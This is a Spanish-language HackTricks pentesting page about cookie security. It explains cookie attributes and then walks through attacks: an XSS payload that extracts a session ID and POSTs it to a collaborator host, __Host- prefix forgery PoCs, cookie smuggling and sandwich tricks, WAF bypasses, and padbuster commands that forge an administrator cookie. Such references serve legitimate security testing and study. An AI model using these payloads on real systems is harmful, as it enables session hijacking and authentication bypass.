Cookies Hacking

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Atributos de las cookies

Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. A continuación se presenta un resumen de estos atributos en voz más pasiva:

Expires and Max-Age

La fecha de expiración de una cookie viene determinada por el atributo Expires. Por otro lado, el atributo Max-age define el tiempo en segundos hasta que una cookie es eliminada. Se recomienda Max-age ya que refleja prácticas más modernas.

Domain

Los hosts que recibirán una cookie se especifican con el atributo Domain. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo Domain se define explícitamente, también abarca subdominios. Esto convierte la especificación del atributo Domain en una opción menos restrictiva, útil en escenarios donde es necesario compartir cookies entre subdominios. Por ejemplo, establecer Domain=mozilla.org hace que las cookies sean accesibles en sus subdominios como developer.mozilla.org.

Path

El atributo Path indica una ruta URL específica que debe estar presente en la URL solicitada para que se envíe la cabecera Cookie. Este atributo considera el carácter / como separador de directorios, lo que permite coincidencias también en subdirectorios.

Ordering Rules

Cuando dos cookies tienen el mismo nombre, la que se elige para enviar se basa en:

• La cookie que coincide con la ruta más larga en la URL solicitada.
• La cookie más recientemente establecida si las rutas son idénticas.

SameSite

• El atributo SameSite determina si las cookies se envían en solicitudes originadas desde dominios de terceros. Ofrece tres configuraciones:
• Strict: Restringe que la cookie se envíe en solicitudes de terceros.
• Lax: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios web de terceros.
• None: Permite que la cookie se envíe desde cualquier dominio de terceros.

Recuerde, al configurar cookies, entender estos atributos puede ayudar a asegurar que se comporten como se espera en diferentes escenarios.

Tabla from Invicti and slightly modified.
Una cookie con SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Tenga en cuenta que desde Chrome80 (feb/2019) el comportamiento por defecto de una cookie sin el atributo SameSite será lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Observe que temporalmente, tras aplicar este cambio, las cookies sin una política SameSite en Chrome serán tratadas como None durante los primeros 2 minutos y luego como Lax para solicitudes POST cross-site de primer nivel.

Flags de cookies

HttpOnly

Esto impide que el cliente acceda a la cookie (por ejemplo vía Javascript: document.cookie)

Bypasses

• Si la página está enviando las cookies como la respuesta de una solicitud (por ejemplo en una página de PHPinfo), es posible abusar de una XSS para enviar una petición a esa página y robar las cookies de la respuesta (ver ejemplo en https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Esto se puede eludir con solicitudes HTTP TRACE, ya que la respuesta del servidor (si este método HTTP está disponible) reflejará las cookies enviadas. Esta técnica se llama Cross-Site Tracking.
• Los navegadores modernos evitan esta técnica no permitiendo enviar una petición TRACE desde JS. Sin embargo, se han encontrado algunos bypasses en software específico, como enviar \r\nTRACE en lugar de TRACE a IE6.0 SP2.
• Otra forma es la explotación de vulnerabilidades zero/day en los navegadores.
• Es posible sobrescribir cookies HttpOnly realizando un ataque Cookie Jar overflow:

Cookie Jar Overflow

• También es posible usar el ataque Cookie Smuggling para exfiltrar estas cookies
• Si algún endpoint del servidor devuelve el ID de sesión en crudo en la respuesta HTTP (por ejemplo, dentro de comentarios HTML o un bloque de depuración), se puede bypass HttpOnly usando un gadget XSS para obtener ese endpoint, extraer el secreto con regex y exfiltrarlo. Ejemplo de patrón de payload XSS:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La petición enviará la cookie únicamente en una solicitud HTTP si la petición se transmite por un canal seguro (típicamente HTTPS).

Prefijos de cookies

Las cookies prefijadas con __Secure- deben establecerse junto con el atributo secure desde páginas protegidas por HTTPS.

Para las cookies prefijadas con __Host-, se deben cumplir varias condiciones:

• Deben establecerse con el atributo secure.
• Deben originarse desde una página protegida por HTTPS.
• No se les permite especificar un dominio, lo que evita su envío a subdominios.
• La ruta para estas cookies debe establecerse en /.

Es importante notar que las cookies prefijadas con __Host- no pueden enviarse a superdominios ni a subdominios. Esta restricción ayuda a aislar las cookies de la aplicación. Por tanto, emplear el prefijo __Host- para todas las cookies de la aplicación puede considerarse una buena práctica para mejorar la seguridad y el aislamiento.

Sobrescribir cookies

Así, una de las protecciones de las cookies prefijadas con __Host- es evitar que sean sobrescritas desde subdominios. Esto previene, por ejemplo, Cookie Tossing attacks. En la charla Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) se mostró que era posible establecer cookies prefijadas con __HOST- desde un subdominio engañando al parser; por ejemplo, añadiendo “=” al principio o al principio y al final…:

O en PHP era posible añadir otros caracteres al principio del nombre de la cookie que serían reemplazados por guiones bajos, permitiendo sobrescribir cookies __HOST-:

Unicode whitespace cookie-name smuggling (prefix forgery)

Abusa de las discrepancias entre el parser del navegador y del servidor anteponiendo un punto de código de espacio en blanco Unicode al nombre de la cookie. El navegador no considerará que el nombre empieza literalmente con __Host-/__Secure-, por lo que permitirá establecerla desde un subdominio. Si el backend recorta/normaliza los espacios en blanco Unicode iniciales en las claves de las cookies, verá el nombre protegido y podrá sobrescribir la cookie de alto privilegio.

• PoC desde un subdominio que puede establecer cookies del dominio padre:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Comportamiento típico del backend que facilita el problema:

• Frameworks que recortan/normalizan las claves de cookie. En Django, Python’s str.strip() elimina una amplia gama de puntos de código de espacio en blanco Unicode, provocando que el nombre se normalice a __Host-name.

• Los puntos de código que suelen recortarse incluyen: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Muchos frameworks resuelven nombres de cookie duplicados como “last wins”, por lo que el valor de cookie normalizado controlado por el atacante sobrescribe el legítimo.

• Las diferencias entre navegadores importan:

• Safari bloquea espacios en blanco Unicode multibyte en nombres de cookie (p. ej., rechaza U+2000) pero todavía permite los de un solo byte U+0085 y U+00A0, que muchos backends recortan. Prueba cruzada entre navegadores.

• Impacto: Permite sobrescribir cookies __Host-/__Secure- desde contextos menos confiables (subdominios), lo que puede conducir a XSS (si es reflejado), sobrescritura del token CSRF y fijación de sesión.

• Ejemplo on-the-wire vs vista del servidor (U+2000 presente en el nombre):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Muchos backends realizan split/parse y luego trim, resultando en que el __Host-name normalizado adopte el valor del atacante.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Algunas Java stacks (p.ej., Tomcat/Jetty-style) todavía habilitan el parsing legacy RFC 2109/2965 cuando la cabecera Cookie comienza con $Version=1. Esto puede hacer que el servidor reinterprete una única cadena de cookie como múltiples cookies lógicas y acepte una entrada __Host- forjada que originalmente se estableció desde un subdominio o incluso desde un origen inseguro.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Por qué funciona:

• Las comprobaciones de prefijo del lado del cliente se aplican durante el set, pero el parsing legacy del lado del servidor posteriormente divide y normaliza la cabecera, eludiendo la intención de las garantías de prefijo __Host-/__Secure-.

• Dónde probar: Tomcat, Jetty, Undertow, o frameworks que todavía respeten los atributos de RFC 2109/2965. Combinar con semánticas de sobrescritura por nombre duplicado.

Primitiva de sobrescritura “el último gana” para nombres duplicados

Cuando dos cookies se normalizan al mismo nombre, muchos backends (incluyendo Django) usan la última aparición. Después de que smuggling/legacy-splitting produzca dos nombres __Host-*, el controlado por el atacante normalmente ganará.

Detección y herramientas

Usa Burp Suite para sondear estas condiciones:

• Prueba varios puntos de código de espacio en blanco Unicode iniciales: U+2000, U+0085, U+00A0 y observa si el backend recorta y trata el nombre como con prefijo.
• Envía $Version=1 primero en la Cookie header y verifica si el backend realiza legacy splitting/normalization.
• Observa la resolución de nombres duplicados (gana el primero vs gana el último) inyectando dos cookies que se normalicen al mismo nombre.
• Burp Custom Action para automatizar esto: CookiePrefixBypass.bambda

Tip: Estas técnicas explotan la brecha octet-vs-string de RFC 6265: los browsers envían bytes; los servidores decodifican y pueden normalizar/recortar. Las discrepancias en la decodificación y normalización son el núcleo de la elusión.

Ataques con Cookies

Si una cookie personalizada contiene datos sensibles, revísala (especialmente si estás participando en un CTF), ya que podría ser vulnerable.

Decodificación y manipulación de Cookies

Los datos sensibles embebidos en cookies siempre deben ser inspeccionados. Las cookies codificadas en Base64 u formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.

Secuestro de sesión

Este ataque implica robar la cookie de un usuario para obtener acceso no autorizado a su cuenta dentro de una aplicación. Al usar la cookie robada, un atacante puede impersonar al usuario legítimo.

Fijación de sesión

En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, poseyendo la cookie original, puede impersonar a la víctima. Esta técnica depende de que la víctima inicie sesión con una cookie suministrada por el atacante.

Si encontraste un XSS en un subdominio o controlas un subdominio, lee:

Cookie Tossing

Donación de sesión

Aquí, el atacante convence a la víctima de usar la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará acciones inadvertidamente en el contexto de la cuenta del atacante.

Si encontraste un XSS en un subdominio o controlas un subdominio, lee:

Cookie Tossing

JWT Cookies

Haz clic en el enlace anterior para acceder a una página que explica posibles fallos en JWT.

JSON Web Tokens (JWT) usados en cookies también pueden presentar vulnerabilidades. Para información detallada sobre fallos potenciales y cómo explotarlos, se recomienda acceder al documento enlazado sobre hacking JWT.

Cross-Site Request Forgery (CSRF)

Este ataque fuerza a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada petición al sitio vulnerable.

Cookies vacías

(Check further details in theoriginal research) Los navegadores permiten la creación de cookies sin nombre, lo cual puede demostrarse mediante JavaScript como sigue:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

El resultado en el encabezado Cookie enviado es a=v1; test value; b=v2;. Curiosamente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, posibilitando el control de otras cookies al asignar a la cookie vacía un valor específico:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Esto provoca que el navegador envíe un cookie header que es interpretado por cada servidor web como una cookie llamada a con el valor b.

Error en Chrome: problema con puntos de código sustitutos Unicode

En Chrome, si un punto de código sustituto Unicode forma parte de un set cookie, document.cookie se corrompe, devolviendo posteriormente una cadena vacía:

document.cookie = "\ud800=meep"

Esto da como resultado que document.cookie imprima una cadena vacía, indicando corrupción permanente.

Cookie Smuggling debido a problemas de parsing

(Consulta más detalles en la original research) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cookie strings debido al soporte obsoleto de RFC2965. Interpretan un valor de cookie entre comillas dobles como un único valor incluso si incluye puntos y comas, que normalmente deberían separar key-value pairs:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Vulnerabilidades de inyección de cookies

(Check further details in theoriginal research) El parseo incorrecto de cookies por parte de servidores, notablemente Undertow, Zope y aquellos que usan las clases de Python http.cookie.SimpleCookie y http.cookie.BaseCookie, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes falsificar cookies:

• Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
• Zope busca una coma para empezar a parsear la siguiente cookie.
• Las clases de cookies de Python comienzan a parsear en un carácter de espacio.

Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF falsificadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookie duplicados en Python, donde la última ocurrencia sobrescribe a las anteriores. También plantea preocupaciones para las cookies __Secure- y __Host- en contextos inseguros y podría conducir a bypasses de autorización cuando las cookies se pasan a servidores back-end susceptibles a spoofing.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

Cookie Sandwich Attack

According to this blogpost it’s possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

• Encuentra un lugar donde una aparente cookie sea reflejada en la respuesta
• Crea una cookie llamada $Version con valor 1 (puedes hacerlo en un ataque XSS desde JS) con un path más específico para que obtenga la posición inicial (algunos frameworks como python no necesitan este paso)
• Crea la cookie que se refleja con un valor que deje comillas dobles abiertas y con un path específico para que se sitúe en la cookie db después de la anterior ($Version)
• Entonces, la cookie legítima irá a continuación en el orden
• Crea una cookie dummy que cierre las comillas dobles dentro de su valor

De este modo la cookie víctima queda atrapada dentro de la nueva cookie versión 1 y se reflejará siempre que se refleje. p. ej. del post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Revisa la sección anterior.

Bypassing value analysis with quoted-string encoding

Este parsing indica que se deben desescapar los valores escapados dentro de las cookies, así “\a” se convierte en “a”. Esto puede ser útil para eludir WAFS como:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

In the RFC2109 it’s indicated that a la coma puede usarse como separador entre valores de cookie. Y también es posible añadir espacios y tabs antes y después del signo igual. Therefore a cookie like $Version=1; foo=bar, abc = qux doesn’t generate the cookie "foo":"bar, admin = qux" but the cookies foo":"bar" and "admin":"qux". Fíjate cómo se generan 2 cookies y cómo a admin se le quitaron los espacios antes y después del signo igual.

Bypassing value analysis with cookie splitting

Finally different backdoors would join in a string different cookies passed in different cookie headers like in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Lo cual podría permitir el bypass de un WAF como en este ejemplo:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Comprobaciones adicionales de Cookies vulnerables

Comprobaciones básicas

• La cookie es la misma cada vez que haces login.
• Haz log out y trata de usar la misma cookie.
• Intenta hacer log in con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
• Comprueba si la cookie tiene alguna información y trata de modificarla.
• Intenta crear varias accounts con usernames casi iguales y comprueba si puedes ver similitudes.
• Comprueba la “remember me” option si existe para ver cómo funciona. Si existe y pudiera ser vulnerable, usa siempre la cookie de remember me sin ninguna otra cookie.
• Comprueba si la cookie anterior funciona incluso después de cambiar la contraseña.

Ataques avanzados de cookies

Si la cookie permanece igual (o casi) cuando haces log in, probablemente significa que la cookie está relacionada con algún campo de tu cuenta (probablemente el username). Entonces puedes:

• Intenta crear muchas accounts con usernames muy similar e intenta guess cómo funciona el algoritmo.
• Intenta bruteforce the username. Si la cookie se guarda solo como método de autenticación para tu username, entonces puedes crear una cuenta con username “Bmin” y bruteforce cada bit de tu cookie porque una de las cookies que probarás será la perteneciente a “admin”.
• Prueba Padding Oracle (puedes descifrar el contenido de la cookie). Usa padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster realizará varios intentos y te preguntará cuál condición es la condición de error (la que no es válida).

A continuación comenzará a decrypting the cookie (puede tardar varios minutos)

Si el ataque se ha realizado con éxito, entonces podrías intentar encrypt una cadena de tu elección. Por ejemplo, si quisieras encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Esta ejecución te dará la cookie correctamente cifrada y codificada con la cadena user=administrator en su interior.

CBC-MAC

Quizá una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de comprobación de integridad podría ser vulnerable.

El ataque

1. Obtén la firma del username administ = t
2. Obtén la firma del username rator\x00\x00\x00 XOR t = t’
3. Fija en la cookie el valor administrator+t’ (t’ será una firma válida de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Si la cookie está cifrada usando ECB podría ser vulnerable.
Cuando inicias sesión la cookie que recibes tiene que ser siempre la misma.

Cómo detectar y atacar:

Crea 2 usuarios con datos casi idénticos (username, password, email, etc.) e intenta descubrir algún patrón dentro de la cookie proporcionada

Crea un usuario llamado por ejemplo “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa” y comprueba si hay algún patrón en la cookie (ya que ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el username está cifrado).

Debería haber un patrón (con el tamaño del bloque usado). So, knowing how are a bunch of “a” encrypted you can create a username: “a”*(size of the block)+“admin”. Then, you could delete the encrypted pattern of a block of “a” from the cookie. And you will have the cookie of the username “admin”.

Static-key cookie forgery (symmetric encryption of predictable IDs)

Algunas aplicaciones generan cookies de autenticación cifrando únicamente un valor predecible (p. ej., el ID numérico de usuario) bajo una clave simétrica global y hard-coded, luego codificando el ciphertext (hex/base64). Si la clave es estática por producto (o por instalación), cualquiera puede forjar cookies para usuarios arbitrarios offline y eludir la autenticación.

How to test/forge

• Identifica la(s) cookie(s) que controlan la autenticación, p. ej., COOKIEID y ADMINCOOKIEID.
• Determina cipher/encoding. En un caso real la app usó IDEA con una clave constante de 16 bytes y devolvió el ciphertext como hex.
• Verifica cifrando tu propio user ID y comparándolo con la cookie emitida. Si coincide, puedes generar cookies para cualquier ID objetivo (1 a menudo corresponde al primer admin).
• Establece el valor forjado directamente como la cookie y navega; no se necesitan credenciales.

</details>contexto (por ejemplo, sesión del lado del servidor con ID aleatorio, o agregar propiedades anti-replay).

## Referencias

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>